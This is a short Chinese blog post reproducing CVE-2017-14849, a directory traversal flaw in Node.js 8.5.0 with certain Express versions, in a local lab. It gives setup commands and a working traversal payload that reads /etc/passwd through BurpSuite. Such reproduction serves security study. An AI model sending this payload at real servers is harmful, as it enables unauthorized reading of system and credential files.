美文网首页
2019-06-22 Node.js任意文件读取漏洞(CVE-2

2019-06-22 Node.js任意文件读取漏洞(CVE-2

作者: NoelleMu | 来源:发表于2019-06-22 22:19 被阅读0次

    漏洞简介

    CVE-2017-14849是Node.js和Express共同导致的一个目录穿越漏洞,可以通过此漏洞读取任意文件。

    受该漏洞影响的版本

    Node.js 8.5.0 + Express 3.19.0-3.21.2
    Node.js 8.5.0 + Express 4.11.0-4.15.5

    复现过程

    环境搭建

    靶机:Manjaro Xfce 19.05.21,ip:192.168.5.134

    攻击机:Windows10 1809

    安装Node.js 8.5.0

    在Linux中直接通过命令行安装即可。

    wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
    tar -zxvf node-v8.5.0-linux-x64.tar.gz
    sudo mv node-v8.5.0-linux-x64 /opt/
    sudo ln -s  ./bin/npm /usr/bin/npm
    sudo ln -s  ./bin/node /usr/bin/node
    

    使用node命令测试,如果进入Node.js交互环境即为安装成功。

    安装Express 4.15.5

    同样通过命令行安装

    wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
    tar -zxvf 4.15.5.tar.gz
    cd express-4.15.5 && npm install
    

    开启express:

    cd examples
    cd static-files
    node index.js
    

    输出提示信息即为开启成功。

    漏洞复现

    访问192.168.5.134:3000,可以成功访问:

    payload: /../../../foo/../../../../etc/passwd

    使用BurpSuite发送Payload,可以看到成功返回了/etc/password的内容:

    漏洞原理

    这个漏洞复现起来很容易,但是原理并不简单,到现在我也没搞得很明白,只知道是Node和Express部分不兼容导致的,具体参考以下这篇文章吧:

    https://security.tencent.com/index.php/blog/msg/121

    相关文章

      网友评论

          本文标题:2019-06-22 Node.js任意文件读取漏洞(CVE-2

          本文链接:https://www.haomeiwen.com/subject/tghbqctx.html